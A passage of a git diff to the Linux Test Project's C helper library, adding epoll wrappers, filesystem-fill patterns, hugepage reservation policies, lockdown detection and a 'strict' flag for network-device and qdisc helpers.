dev); + return size; } diff --git a/lib/tst_epoll.c b/lib/tst_epoll.c new file mode 100644 index 00000000..556b3bda --- /dev/null +++ b/lib/tst_epoll.c @@ -0,0 +1,81 @@ +// SPDX-License-Identifier: GPL-2.0-or-later +/* + * Copyright (c) 2022 SUSE LLC + */ +#define _GNU_SOURCE +#define TST_NO_DEFAULT_MAIN + +#include "tst_test.h" +#include "tst_epoll.h" + +int safe_epoll_create1(const char *const file, const int lineno, + const int flags) +{ + const char *flags_str; + int ret = epoll_create1(flags); + + switch (flags) { + case EPOLL_CLOEXEC: + flags_str = "EPOLL_CLOEXEC"; + break; + case 0: + flags_str = ""; + break; + default: + flags_str = "???"; + } + + if (ret == -1) { + tst_brk_(file, lineno, + TBROK | TERRNO, "epoll_create1(%s)", flags_str); + } + + return ret; +} + +int safe_epoll_ctl(const char *const file, const int lineno, + int epfd, int op, int fd, struct epoll_event *ev) +{ + const char *op_str; + int ret; + + switch (op) { + case EPOLL_CTL_ADD: + op_str = "EPOLL_CTL_ADD"; + break; + case EPOLL_CTL_DEL: + op_str = "EPOLL_CTL_DEL"; + break; + case EPOLL_CTL_MOD: + op_str = "EPOLL_CTL_MOD"; + break; + default: + op_str = "???"; + } + + ret = epoll_ctl(epfd, op, fd, ev); + + if (ret == -1) { + tst_brk_(file, lineno, + TBROK | TERRNO, + "epoll_ctl(%d, %s, %d, ...", epfd, op_str, fd); + } + + return ret; +} + +int safe_epoll_wait(const char *const file, const int lineno, + int epfd, struct epoll_event *events, + int maxevents, int timeout) +{ + int ret = epoll_wait(epfd, events, maxevents, timeout); + + if (ret == -1) { + tst_brk_(file, lineno, TBROK | TERRNO, + "epoll_wait(%d, ..., %d, %d)", + epfd, maxevents, timeout); + } + + return ret; +} + diff --git a/lib/tst_fill_fs.c b/lib/tst_fill_fs.c index 121dd2f2..5e8cf919 100755 --- a/lib/tst_fill_fs.c +++ b/lib/tst_fill_fs.c @@ -7,20 +7,24 @@ #include #include #include +#include #define TST_NO_DEFAULT_MAIN #include "tst_test.h" +#include "lapi/fcntl.h" #include "tst_fs.h" +#include "tst_rand_data.h" +#include "tst_safe_file_at.h" -void tst_fill_fs(const char *path, int verbose) +void fill_random(const char *path, int verbose) { int i = 0; char file[PATH_MAX]; - char buf[4096]; size_t len; ssize_t ret; int fd; struct statvfs fi; + statvfs(path, &fi); for (;;) { @@ -41,7 +45,7 @@ void tst_fill_fs(const char *path, int verbose) } while (len) { - ret = write(fd, buf, MIN(len, sizeof(buf))); + ret = write(fd, tst_rand_data, MIN(len, tst_rand_data_len)); if (ret < 0) { /* retry on ENOSPC to make sure filesystem is really full */ @@ -66,3 +70,75 @@ void tst_fill_fs(const char *path, int verbose) SAFE_CLOSE(fd); } } + +void fill_flat_vec(const char *path, int verbose) +{ + int dir, fd; + struct iovec iov[512]; + int iovcnt = ARRAY_SIZE(iov); + int retries = 3; + + dir = open(path, O_PATH | O_DIRECTORY); + if (dir == -1) { + if (errno == ENOSPC) { + tst_res(TINFO | TERRNO, "open()"); + return; + } + tst_brk(TBROK | TERRNO, "open(%s, %d) failed", path, O_PATH | O_DIRECTORY); + } + + fd = openat(dir, "AOF", O_WRONLY | O_CREAT, 0600); + if (fd == -1) { + if (errno == ENOSPC) { + tst_res(TINFO | TERRNO, "openat()"); + return; + } + tst_brk(TBROK | TERRNO, "openat(%d, %d, 0600) failed for path %s", + dir, O_PATH | O_DIRECTORY, path); + } + + SAFE_CLOSE(dir); + + for (int i = 0; i < iovcnt; i++) { + iov[i] = (struct iovec) { + (void *)tst_rand_data, + tst_rand_data_len + }; + } + + while (retries) { + const int ret = writev(fd, iov, iovcnt); + + if (!ret) + tst_res(TWARN | TERRNO, "writev returned 0; not sure what this means"); + + if (ret > -1) { + if (verbose && retries < 3) + tst_res(TINFO, "writev(\"%s/AOF\", iov, %d) = %d", path, iovcnt, ret); + + retries = 3; + continue; + } + + if (errno != ENOSPC) + tst_brk(TBROK | TERRNO, "writev(\"%s/AOF\", iov, %d)", path, iovcnt); + + if (verbose) + tst_res(TINFO, "writev(\"%s/AOF\", iov, %d): ENOSPC", path, iovcnt); + + retries--; + } + + SAFE_CLOSE(fd); +} + +void tst_fill_fs(const char *path, int verbose, enum tst_fill_access_pattern pattern) +{ + + switch (pattern) { + case TST_FILL_BLOCKS: + return fill_flat_vec(path, verbose); + case TST_FILL_RANDOM: + return fill_random(path, verbose); + } +} diff --git a/lib/tst_fs_link_count.c b/lib/tst_fs_link_count.c index b8807236..6a6bb52b 100755 --- a/lib/tst_fs_link_count.c +++ b/lib/tst_fs_link_count.c @@ -119,7 +119,7 @@ int tst_fs_fill_subdirs_(void (*cleanup) (void), const char *dir) return 0; } - /* for current kernel, subdir limit is not availiable for all fs */ + /* for current kernel, subdir limit is not available for all fs */ fs_type = tst_fs_type(cleanup, dir); whitelist_size = ARRAY_SIZE(subdir_limit_whitelist); diff --git a/lib/tst_fs_setup.c b/lib/tst_fs_setup.c index 6b93483d..aaa8f3bc 100755 --- a/lib/tst_fs_setup.c +++ b/lib/tst_fs_setup.c @@ -24,7 +24,7 @@ void create_overlay_dirs(void) closedir(dir); } -int mount_overlay(const char *file, const int lineno, int skip) +int mount_overlay(const char *file, const int lineno, int strict) { int ret; @@ -35,14 +35,14 @@ int mount_overlay(const char *file, const int lineno, int skip) return 0; if (errno == ENODEV) { - if (skip) { + if (strict) { tst_brk_(file, lineno, TCONF, TST_FS_SETUP_OVERLAYFS_MSG); } else { tst_res_(file, lineno, TINFO, TST_FS_SETUP_OVERLAYFS_MSG); } - } else { + } else if (strict) { tst_brk_(file, lineno, TBROK | TERRNO, "overlayfs mount failed"); } diff --git a/lib/tst_fs_type.c b/lib/tst_fs_type.c index 9de80224..d9c9c081 100755 --- a/lib/tst_fs_type.c +++ b/lib/tst_fs_type.c @@ -1,29 +1,11 @@ +// SPDX-License-Identifier: GPL-2.0 /* - * Copyright (c) 2005-2014 Linux Test Project + * Copyright (c) 2005-2021 Linux Test Project * * Cyril Hrubis 2014 * Michal Simek 2009 * Kumar Gala 2007 * Ricky Ng-Adam 2005 - * - * This program is free software; you can redistribute it and/or modify it - * under the terms of version 2 of the GNU General Public License as - * published by the Free Software Foundation. - * - * This program is distributed in the hope that it would be useful, but - * WITHOUT ANY WARRANTY; without even the implied warranty of - * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. - * - * Further, this software is distributed without any warranty that it is - * free of the rightful claim of any third person regarding infringement - * or the like. Any license provided herein, whether implied or - * otherwise, applies only to this software file. Patent licenses, if - * any, provided herein do not apply to combinations of this program with - * other software, or any other product whatsoever. - * - * You should have received a copy of the GNU General Public License along - * with this program; if not, write the Free Software Foundation, Inc., - * 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA. */ #include @@ -86,6 +68,8 @@ const char *tst_fs_type_name(long f_type) return "overlayfs"; case TST_FUSE_MAGIC: return "fuse"; + case TST_VFAT_MAGIC: + return "vfat"; case TST_EXFAT_MAGIC: return "exfat"; default: diff --git a/lib/tst_hugepage.c b/lib/tst_hugepage.c index a7585bc3..d2e70a95 100755 --- a/lib/tst_hugepage.c +++ b/lib/tst_hugepage.c @@ -20,11 +20,18 @@ size_t tst_get_hugepage_size(void) return SAFE_READ_MEMINFO("Hugepagesize:") * 1024; } -unsigned long tst_request_hugepages(unsigned long hpages) +unsigned long tst_reserve_hugepages(struct tst_hugepage *hp) { unsigned long val, max_hpages; + struct tst_path_val pvl = { + .path = PATH_NR_HPAGES, + .val = NULL, + .flags = TST_SR_SKIP_MISSING | TST_SR_TCONF_RO + }; if (access(PATH_HUGEPAGES, F_OK)) { + if (hp->policy == TST_NEEDS) + tst_brk(TCONF, "hugetlbfs is not supported"); tst_hugepages = 0; goto out; } @@ -32,16 +39,21 @@ unsigned long tst_request_hugepages(unsigned long hpages) if (nr_opt) tst_hugepages = SAFE_STRTOL(nr_opt, 1, LONG_MAX); else - tst_hugepages = hpages; + tst_hugepages = hp->number; - if (hpages == TST_NO_HUGEPAGES) { + if (hp->number == TST_NO_HUGEPAGES) { tst_hugepages = 0; goto set_hugepages; } SAFE_FILE_PRINTF("/proc/sys/vm/drop_caches", "3"); - max_hpages = SAFE_READ_MEMINFO("MemFree:") / SAFE_READ_MEMINFO("Hugepagesize:"); + SAFE_FILE_PRINTF("/proc/sys/vm/compact_memory", "1"); + if (hp->policy == TST_NEEDS) { + tst_hugepages += SAFE_READ_MEMINFO("HugePages_Total:"); + goto set_hugepages; + } + max_hpages = SAFE_READ_MEMINFO("MemFree:") / SAFE_READ_MEMINFO("Hugepagesize:"); if (tst_hugepages > max_hpages) { tst_res(TINFO, "Requested number(%lu) of hugepages is too large, " "limiting to 80%% of the max hugepage count %lu", @@ -53,7 +65,7 @@ unsigned long tst_request_hugepages(unsigned long hpages) } set_hugepages: - tst_sys_conf_save("?/proc/sys/vm/nr_hugepages"); + tst_sys_conf_save(&pvl); SAFE_FILE_PRINTF(PATH_NR_HPAGES, "%lu", tst_hugepages); SAFE_FILE_SCANF(PATH_NR_HPAGES, "%lu", &val); if (val != tst_hugepages) @@ -61,6 +73,14 @@ set_hugepages: "Not enough hugepages for testing.", val, tst_hugepages); + if (hp->policy == TST_NEEDS) { + unsigned long free_hpages = SAFE_READ_MEMINFO("HugePages_Free:"); + if (hp->number > free_hpages) + tst_brk(TCONF, "free_hpages = %lu, but expect %lu. " + "Not enough hugepages for testing.", + free_hpages, hp->number); + } + tst_res(TINFO, "%lu hugepage(s) reserved", tst_hugepages); out: return tst_hugepages; diff --git a/lib/tst_kconfig.c b/lib/tst_kconfig.c index ac13866e..595ea4b0 100755 --- a/lib/tst_kconfig.c +++ b/lib/tst_kconfig.c @@ -47,6 +47,11 @@ static const char *kconfig_path(char *path_buf, size_t path_buf_len) /* Common install module path */ snprintf(path_buf, path_buf_len, "/lib/modules/%s/build/.config", un.release); + if (!access(path_buf, F_OK)) + return path_buf; + + snprintf(path_buf, path_buf_len, "/lib/modules/%s/config", un.release); + if (!access(path_buf, F_OK)) return path_buf; diff --git a/lib/tst_kernel.c b/lib/tst_kernel.c index 6db85bff..4b75cead 100755 --- a/lib/tst_kernel.c +++ b/lib/tst_kernel.c @@ -85,12 +85,12 @@ int tst_kernel_bits(void) #endif /* __ANDROID__ */ tst_resm(TINFO, "uname.machine=%s kernel is %ibit", - buf.machine, kernel_bits); + buf.machine, kernel_bits); return kernel_bits; } -static int tst_search_driver(const char *driver, const char *file) +static int tst_search_driver_(const char *driver, const char *file) { struct stat st; char buf[PATH_MAX]; @@ -116,6 +116,12 @@ static int tst_search_driver(const char *driver, const char *file) return -1; } + /* always search for x86_64 */ + char *fix = strstr(driver, "x86-64"); + + if (fix) + fix[3] = '_'; + SAFE_ASPRINTF(NULL, &search, "/%s.ko", driver); f = SAFE_FOPEN(NULL, path, "r"); @@ -139,28 +145,19 @@ static int tst_search_driver(const char *driver, const char *file) return ret; } -static int tst_check_driver_(const char *driver) -{ - if (!tst_search_driver(driver, "modules.dep") || - !tst_search_driver(driver, "modules.builtin")) - return 0; - - return -1; -} - -int tst_check_driver(const char *driver) +static int tst_search_driver(const char *driver, const char *file) { #ifdef __ANDROID__ /* * Android may not have properly installed modules.* files. We could - * search modules in /system/lib/modules, but to to determine built-in + * search modules in /system/lib/modules, but to determine built-in * drivers we need modules.builtin. Therefore assume all drivers are * available. */ return 0; #endif - if (!tst_check_driver_(driver)) + if (!tst_search_driver_(driver, file)) return 0; int ret = -1; @@ -178,9 +175,26 @@ int tst_check_driver(const char *driver) while ((ix = strchr(ix, find))) *ix++ = replace; - ret = tst_check_driver_(driver2); + ret = tst_search_driver_(driver2, file); free(driver2); } return ret; } + +int tst_check_builtin_driver(const char *driver) +{ + if (!tst_search_driver(driver, "modules.builtin")) + return 0; + + return -1; +} + +int tst_check_driver(const char *driver) +{ + if (!tst_search_driver(driver, "modules.dep") || + !tst_search_driver(driver, "modules.builtin")) + return 0; + + return -1; +} diff --git a/lib/tst_kvercmp.c b/lib/tst_kvercmp.c index dc0daa74..552920fa 100755 --- a/lib/tst_kvercmp.c +++ b/lib/tst_kvercmp.c @@ -134,24 +134,15 @@ const char *tst_kvcmp_distname(const char *kver) char *ret = distname; char *p = distname; - if (strstr(kver, ".el5uek")) - return "OL5UEK"; - - if (strstr(kver, ".el5")) - return "RHEL5"; - - if (strstr(kver, ".el6uek")) - return "OL6UEK"; - - if (strstr(kver, ".el6")) - return "RHEL6"; - if (strstr(kver, ".el7")) return "RHEL7"; if (strstr(kver, ".el8")) return "RHEL8"; + if (strstr(kver, ".el9")) + return "RHEL9"; + if (access(OSRELEASE_PATH, F_OK) != -1) { SAFE_FILE_LINES_SCANF(NULL, OSRELEASE_PATH, "ID=%s", distname); diff --git a/lib/tst_lockdown.c b/lib/tst_lockdown.c index 26a57b6a..38d83088 100755 --- a/lib/tst_lockdown.c +++ b/lib/tst_lockdown.c @@ -14,47 +14,59 @@ #include "tst_lockdown.h" #include "tst_private.h" -#define EFIVAR_SECUREBOOT "/sys/firmware/efi/efivars/SecureBoot-8be4df61-93ca-11d2-aa0d-00e098032b8c" +#if defined(__powerpc64__) || defined(__ppc64__) +# define SECUREBOOT_VAR "/proc/device-tree/ibm,secure-boot" +# define VAR_DATA_SIZE 4 +#else +# define SECUREBOOT_VAR "/sys/firmware/efi/efivars/SecureBoot-8be4df61-93ca-11d2-aa0d-00e098032b8c" +# define VAR_DATA_SIZE 5 +#endif int tst_secureboot_enabled(void) { int fd; char data[5]; - if (access(EFIVAR_SECUREBOOT, F_OK)) { - tst_res(TINFO, "Efivar FS not available"); + if (access(SECUREBOOT_VAR, F_OK)) { + tst_res(TINFO, "SecureBoot sysfs file not available"); return -1; } - fd = open(EFIVAR_SECUREBOOT, O_RDONLY); + fd = open(SECUREBOOT_VAR, O_RDONLY); if (fd == -1) { tst_res(TINFO | TERRNO, - "Cannot open SecureBoot Efivar sysfile"); + "Cannot open SecureBoot file"); return -1; } else if (fd < 0) { tst_brk(TBROK | TERRNO, "Invalid open() return value %d", fd); return -1; } - - SAFE_READ(1, fd, data, 5); + SAFE_READ(1, fd, data, VAR_DATA_SIZE); SAFE_CLOSE(fd); - tst_res(TINFO, "SecureBoot: %s", data[4] ? "on" : "off"); - return data[4]; + tst_res(TINFO, "SecureBoot: %s", data[VAR_DATA_SIZE - 1] ? "on" : "off"); + return data[VAR_DATA_SIZE - 1]; } int tst_lockdown_enabled(void) { char line[BUFSIZ]; FILE *file; + int ret; if (access(PATH_LOCKDOWN, F_OK) != 0) { char flag; - flag = tst_kconfig_get("CONFIG_EFI_SECURE_BOOT_LOCK_DOWN"); + /* SecureBoot enabled could mean integrity lockdown (non-mainline version) */ +#if defined(__powerpc64__) || defined(__ppc64__) + flag = tst_kconfig_get("CONFIG_SECURITY_LOCKDOWN_LSM") == 'y'; + flag |= tst_kconfig_get("CONFIG_SECURITY_LOCKDOWN_LSM_EARLY") == 'y'; +#else + flag = tst_kconfig_get("CONFIG_EFI_SECURE_BOOT_LOCK_DOWN") == 'y'; + flag |= tst_kconfig_get("CONFIG_LOCK_DOWN_IN_EFI_SECURE_BOOT") == 'y'; +#endif - /* SecureBoot enabled could mean integrity lockdown */ - if (flag == 'y' && tst_secureboot_enabled() > 0) + if (flag && tst_secureboot_enabled() > 0) return 1; tst_res(TINFO, "Unable to determine system lockdown state"); @@ -66,5 +78,8 @@ int tst_lockdown_enabled(void) tst_brk(TBROK | TERRNO, "fgets %s", PATH_LOCKDOWN); SAFE_FCLOSE(file); - return (strstr(line, "[none]") == NULL); + ret = strstr(line, "[none]") == NULL; + tst_res(TINFO, "Kernel lockdown: %s", ret ? "on" : "off"); + + return ret; } diff --git a/lib/tst_memutils.c b/lib/tst_memutils.c index 4a497476..c5382ff1 100755 --- a/lib/tst_memutils.c +++ b/lib/tst_memutils.c @@ -20,17 +20,17 @@ void tst_pollute_memory(size_t maxsize, int fillchar) { size_t i, map_count = 0, safety = 0, blocksize = BLOCKSIZE; unsigned long long freeram; - unsigned long min_free; + size_t min_free; void **map_blocks; struct sysinfo info; - SAFE_FILE_SCANF("/proc/sys/vm/min_free_kbytes", "%lu", &min_free); + SAFE_FILE_SCANF("/proc/sys/vm/min_free_kbytes", "%zi", &min_free); min_free *= 1024; /* Apply a margin because we cannot get below "min" watermark */ min_free += min_free / 10; SAFE_SYSINFO(&info); - safety = MAX(4096 * SAFE_SYSCONF(_SC_PAGESIZE), 128 * 1024 * 1024); + safety = MAX(4096 * SAFE_SYSCONF(_SC_PAGESIZE), 128L * 1024 * 1024); safety = MAX(safety, min_free); safety /= info.mem_unit; @@ -44,7 +44,7 @@ void tst_pollute_memory(size_t maxsize, int fillchar) * Use the lower value of both for pollutable memory. Usually this * means we will not evict any caches. */ - freeram = MIN(info.freeram, (tst_available_mem() * 1024)); + freeram = MIN((long long)info.freeram, (tst_available_mem() * 1024)); /* Not enough free memory to avoid invoking OOM killer */ if (freeram <= safety) @@ -95,6 +95,15 @@ long long tst_available_mem(void) return mem_available; } +long long tst_available_swap(void) +{ + unsigned long long swap_available = 0; + + FILE_LINES_SCANF("/proc/meminfo", "SwapFree: %llu", &swap_available); + + return swap_available; +} + static int has_caps(void) { struct tst_cap_user_header hdr = { @@ -121,8 +130,10 @@ static int write_score(const char *path, int score) if (!f) return 1; - if (fprintf(f, "%d", score) <= 0) + if (fprintf(f, "%d", score) <= 0) { + fclose(f); return 1; + } if (fclose(f)) return 1; diff --git a/lib/tst_net.c b/lib/tst_net.c index de343bb3..a97e25b1 100755 --- a/lib/tst_net.c +++ b/lib/tst_net.c @@ -8,11 +8,13 @@ #include #include #include +#include #define TST_NO_DEFAULT_MAIN #include "tst_test.h" #include "tst_net.h" #include "tst_private.h" +#include "lapi/sched.h" void tst_print_svar(const char *name, const char *val) { @@ -220,3 +222,24 @@ void safe_getaddrinfo(const char *file, const int lineno, const char *src_addr, if (!*addr_info) tst_brk_(file, lineno, TBROK, "failed to get the address"); } + +void tst_setup_netns(void) +{ + int real_uid = getuid(); + int real_gid = getgid(); + int nscount = 1; + + if (!access("/proc/sys/user/max_user_namespaces", F_OK)) { + SAFE_FILE_SCANF("/proc/sys/user/max_user_namespaces", "%d", + &nscount); + } + + if (!nscount) + tst_brk(TCONF, "User namespaces are disabled"); + + SAFE_UNSHARE(CLONE_NEWUSER); + SAFE_UNSHARE(CLONE_NEWNET); + SAFE_FILE_PRINTF("/proc/self/setgroups", "deny"); + SAFE_FILE_PRINTF("/proc/self/uid_map", "0 %d 1", real_uid); + SAFE_FILE_PRINTF("/proc/self/gid_map", "0 %d 1", real_gid); +} diff --git a/lib/tst_netdevice.c b/lib/tst_netdevice.c index 4a044293..dba44c62 100755 --- a/lib/tst_netdevice.c +++ b/lib/tst_netdevice.c @@ -7,6 +7,7 @@ #include #include #include +#include #include "lapi/rtnetlink.h" #define TST_NO_DEFAULT_MAIN @@ -97,7 +98,7 @@ int tst_netdev_set_state(const char *file, const int lineno, return ret; } -int tst_create_veth_pair(const char *file, const int lineno, +int tst_create_veth_pair(const char *file, const int lineno, int strict, const char *ifname1, const char *ifname2) { int ret; @@ -147,7 +148,7 @@ int tst_create_veth_pair(const char *file, const int lineno, ret = tst_rtnl_send_validate(file, lineno, ctx); tst_rtnl_destroy_context(file, lineno, ctx); - if (!ret) { + if (strict && !ret) { tst_brk_(file, lineno, TBROK, "Failed to create veth interfaces %s+%s: %s", ifname1, ifname2, tst_strerrno(tst_rtnl_errno)); @@ -156,7 +157,7 @@ int tst_create_veth_pair(const char *file, const int lineno, return ret; } -int tst_netdev_add_device(const char *file, const int lineno, +int tst_netdev_add_device(const char *file, const int lineno, int strict, const char *ifname, const char *devtype) { int ret; @@ -191,7 +192,7 @@ int tst_netdev_add_device(const char *file, const int lineno, ret = tst_rtnl_send_validate(file, lineno, ctx); tst_rtnl_destroy_context(file, lineno, ctx); - if (!ret) { + if (strict && !ret) { tst_brk_(file, lineno, TBROK, "Failed to create %s device %s: %s", devtype, ifname, tst_strerrno(tst_rtnl_errno)); @@ -200,7 +201,7 @@ int tst_netdev_add_device(const char *file, const int lineno, return ret; } -int tst_netdev_remove_device(const char *file, const int lineno, +int tst_netdev_remove_device(const char *file, const int lineno, int strict, const char *ifname) { struct ifinfomsg info = { .ifi_family = AF_UNSPEC }; @@ -226,7 +227,7 @@ int tst_netdev_remove_device(const char *file, const int lineno, ret = tst_rtnl_send_validate(file, lineno, ctx); tst_rtnl_destroy_context(file, lineno, ctx); - if (!ret) { + if (strict && !ret) { tst_brk_(file, lineno, TBROK, "Failed to remove netdevice %s: %s", ifname, tst_strerrno(tst_rtnl_errno)); @@ -235,7 +236,7 @@ int tst_netdev_remove_device(const char *file, const int lineno, return ret; } -static int modify_address(const char *file, const int lineno, +static int modify_address(const char *file, const int lineno, int strict, unsigned int action, unsigned int nl_flags, const char *ifname, unsigned int family, const void *address, unsigned int prefix, size_t addrlen, uint32_t addr_flags) @@ -276,7 +277,7 @@ static int modify_address(const char *file, const int lineno, ret = tst_rtnl_send_validate(file, lineno, ctx); tst_rtnl_destroy_context(file, lineno, ctx); - if (!ret) { + if (strict && !ret) { tst_brk_(file, lineno, TBROK, "Failed to modify %s network address: %s", ifname, tst_strerrno(tst_rtnl_errno)); @@ -285,40 +286,40 @@ static int modify_address(const char *file, const int lineno, return ret; } -int tst_netdev_add_address(const char *file, const int lineno, +int tst_netdev_add_address(const char *file, const int lineno, int strict, const char *ifname, unsigned int family, const void *address, unsigned int prefix, size_t addrlen, unsigned int flags) { - return modify_address(file, lineno, RTM_NEWADDR, + return modify_address(file, lineno, strict, RTM_NEWADDR, NLM_F_CREATE | NLM_F_EXCL, ifname, family, address, prefix, addrlen, flags); } -int tst_netdev_add_address_inet(const char *file, const int lineno, +int tst_netdev_add_address_inet(const char *file, const int lineno, int strict, const char *ifname, in_addr_t address, unsigned int prefix, unsigned int flags) { - return tst_netdev_add_address(file, lineno, ifname, AF_INET, + return tst_netdev_add_address(file, lineno, strict, ifname, AF_INET, &address, prefix, sizeof(address), flags); } -int tst_netdev_remove_address(const char *file, const int lineno, +int tst_netdev_remove_address(const char *file, const int lineno, int strict, const char *ifname, unsigned int family, const void *address, size_t addrlen) { - return modify_address(file, lineno, RTM_DELADDR, 0, ifname, family, - address, 0, addrlen, 0); + return modify_address(file, lineno, strict, RTM_DELADDR, 0, ifname, + family, address, 0, addrlen, 0); } int tst_netdev_remove_address_inet(const char *file, const int lineno, - const char *ifname, in_addr_t address) + int strict, const char *ifname, in_addr_t address) { - return tst_netdev_remove_address(file, lineno, ifname, AF_INET, + return tst_netdev_remove_address(file, lineno, strict, ifname, AF_INET, &address, sizeof(address)); } -static int change_ns(const char *file, const int lineno, const char *ifname, - unsigned short attr, uint32_t value) +static int change_ns(const char *file, const int lineno, int strict, + const char *ifname, unsigned short attr, uint32_t value) { struct ifinfomsg info = { .ifi_family = AF_UNSPEC }; struct tst_rtnl_context *ctx; @@ -332,6 +333,9 @@ static int change_ns(const char *file, const int lineno, const char *ifname, ctx = create_request(file, lineno, RTM_NEWLINK, 0, &info, sizeof(info)); + if (!ctx) + return 0; + if (!tst_rtnl_add_attr_string(file, lineno, ctx, IFLA_IFNAME, ifname)) { tst_rtnl_destroy_context(file, lineno, ctx); return 0; @@ -346,7 +350,7 @@ static int change_ns(const char *file, const int lineno, const char *ifname, ret = tst_rtnl_send_validate(file, lineno, ctx); tst_rtnl_destroy_context(file, lineno, ctx); - if (!ret) { + if (strict && !ret) { tst_brk_(file, lineno, TBROK, "Failed to move %s to another namespace: %s", ifname, tst_strerrno(tst_rtnl_errno)); @@ -355,23 +359,23 @@ static int change_ns(const char *file, const int lineno, const char *ifname, return ret; } -int tst_netdev_change_ns_fd(const char *file, const int lineno, +int tst_netdev_change_ns_fd(const char *file, const int lineno, int strict, const char *ifname, int nsfd) { - return change_ns(file, lineno, ifname, IFLA_NET_NS_FD, nsfd); + return change_ns(file, lineno, strict, ifname, IFLA_NET_NS_FD, nsfd); } -int tst_netdev_change_ns_pid(const char *file, const int lineno, +int tst_netdev_change_ns_pid(const char *file, const int lineno, int strict, const char *ifname, pid_t nspid) { - return change_ns(file, lineno, ifname, IFLA_NET_NS_PID, nspid); + return change_ns(file, lineno, strict, ifname, IFLA_NET_NS_PID, nspid); } -static int modify_route(const char *file, const int lineno, unsigned int action, - unsigned int flags, const char *ifname, unsigned int family, - const void *srcaddr, unsigned int srcprefix, size_t srclen, - const void *dstaddr, unsigned int dstprefix, size_t dstlen, - const void *gateway, size_t gatewaylen) +static int modify_route(const char *file, const int lineno, int strict, + unsigned int action, unsigned int flags, const char *ifname, + unsigned int family, const void *srcaddr, unsigned int srcprefix, + size_t srclen, const void *dstaddr, unsigned int dstprefix, + size_t dstlen, const void *gateway, size_t gatewaylen) { struct tst_rtnl_context *ctx; int ret; @@ -411,6 +415,9 @@ static int modify_route(const char *file, const int lineno, unsigned int action, ctx = create_request(file, lineno, action, flags, &info, sizeof(info)); + if (!ctx) + return 0; + if (srcaddr && !tst_rtnl_add_attr(file, lineno, ctx, RTA_SRC, srcaddr, srclen)) { tst_rtnl_destroy_context(file, lineno, ctx); @@ -438,7 +445,7 @@ static int modify_route(const char *file, const int lineno, unsigned int action, ret = tst_rtnl_send_validate(file, lineno, ctx); tst_rtnl_destroy_context(file, lineno, ctx); - if (!ret) { + if (strict && !ret) { tst_brk_(file, lineno, TBROK, "Failed to modify network route: %s", tst_strerrno(tst_rtnl_errno)); @@ -447,7 +454,7 @@ static int modify_route(const char *file, const int lineno, unsigned int action, return ret; } -static int modify_route_inet(const char *file, const int lineno, +static int modify_route_inet(const char *file, const int lineno, int strict, unsigned int action, unsigned int flags, const char *ifname, in_addr_t srcaddr, unsigned int srcprefix, in_addr_t dstaddr, unsigned int dstprefix, in_addr_t gateway) @@ -470,45 +477,165 @@ static int modify_route_inet(const char *file, const int lineno, gwlen = sizeof(gateway); } - return modify_route(file, lineno, action, flags, ifname, AF_INET, src, - srcprefix, srclen, dst, dstprefix, dstlen, gw, gwlen); + return modify_route(file, lineno, strict, action, flags, ifname, + AF_INET, src, srcprefix, srclen, dst, dstprefix, dstlen, gw, + gwlen); } -int tst_netdev_add_route(const char *file, const int lineno, +int tst_netdev_add_route(const char *file, const int lineno, int strict, const char *ifname, unsigned int family, const void *srcaddr, unsigned int srcprefix, size_t srclen, const void *dstaddr, unsigned int dstprefix, size_t dstlen, const void *gateway, size_t gatewaylen) { - return modify_route(file, lineno, RTM_NEWROUTE, + return modify_route(file, lineno, strict, RTM_NEWROUTE, NLM_F_CREATE | NLM_F_EXCL, ifname, family, srcaddr, srcprefix, srclen, dstaddr, dstprefix, dstlen, gateway, gatewaylen); } -int tst_netdev_add_route_inet(const char *file, const int lineno, +int tst_netdev_add_route_inet(const char *file, const int lineno, int strict, const char *ifname, in_addr_t srcaddr, unsigned int srcprefix, in_addr_t dstaddr, unsigned int dstprefix, in_addr_t gateway) { - return modify_route_inet(file, lineno, RTM_NEWROUTE, + return modify_route_inet(file, lineno, strict, RTM_NEWROUTE, NLM_F_CREATE | NLM_F_EXCL, ifname, srcaddr, srcprefix, dstaddr, dstprefix, gateway); } -int tst_netdev_remove_route(const char *file, const int lineno, +int tst_netdev_remove_route(const char *file, const int lineno, int strict, const char *ifname, unsigned int family, const void *srcaddr, unsigned int srcprefix, size_t srclen, const void *dstaddr, unsigned int dstprefix, size_t dstlen, const void *gateway, size_t gatewaylen) { - return modify_route(file, lineno, RTM_DELROUTE, 0, ifname, family, - srcaddr, srcprefix, srclen, dstaddr, dstprefix, dstlen, + return modify_route(file, lineno, strict, RTM_DELROUTE, 0, ifname, + family, srcaddr, srcprefix, srclen, dstaddr, dstprefix, dstlen, gateway, gatewaylen); } int tst_netdev_remove_route_inet(const char *file, const int lineno, - const char *ifname, in_addr_t srcaddr, unsigned int srcprefix, - in_addr_t dstaddr, unsigned int dstprefix, in_addr_t gateway) + int strict, const char *ifname, in_addr_t srcaddr, + unsigned int srcprefix, in_addr_t dstaddr, unsigned int dstprefix, + in_addr_t gateway) { - return modify_route_inet(file, lineno, RTM_DELROUTE, 0, ifname, + return modify_route_inet(file, lineno, strict, RTM_DELROUTE, 0, ifname, srcaddr, srcprefix, dstaddr, dstprefix, gateway); } + +static int modify_qdisc(const char *file, const int lineno, int strict, + const char *object, unsigned int action, unsigned int nl_flags, + const char *ifname, unsigned int family, unsigned int parent, + unsigned int handle, unsigned int info, const char *qd_kind, + const struct tst_rtnl_attr_list *config) +{ + struct tst_rtnl_context *ctx; + int ret; + struct tcmsg msg = { + .tcm_family = family, + .tcm_handle = handle, + .tcm_parent = parent, + .tcm_info = info + }; + + if (!qd_kind) { + tst_brk_(file, lineno, TBROK, + "Queueing discipline name required"); + return 0; + } + + if (ifname) { + msg.tcm_ifindex = tst_netdev_index_by_name(file, lineno, + ifname); + + if (msg.tcm_ifindex < 0) { + tst_brk_(file, lineno, TBROK, "Interface %s not found", + ifname); + return 0; + } + } + + ctx = create_request(file, lineno, action, nl_flags, &msg, sizeof(msg)); + + if (!ctx) + return 0; + + if (!tst_rtnl_add_attr_string(file, lineno, ctx, TCA_KIND, qd_kind)) { + tst_rtnl_destroy_context(file, lineno, ctx); + return 0; + } + + if (config && !tst_rtnl_add_attr_list(file, lineno, ctx, config)) { + tst_rtnl_destroy_context(file, lineno, ctx); + return 0; + } + + ret = tst_rtnl_send_validate(file, lineno, ctx); + tst_rtnl_destroy_context(file, lineno, ctx); + + if (strict && !ret) { + tst_brk_(file, lineno, TBROK, + "Failed to modify %s: %s", object, + tst_strerrno(tst_rtnl_errno)); + } + + return ret; +} + +int tst_netdev_add_qdisc(const char *file, const int lineno, int strict, + const char *ifname, unsigned int 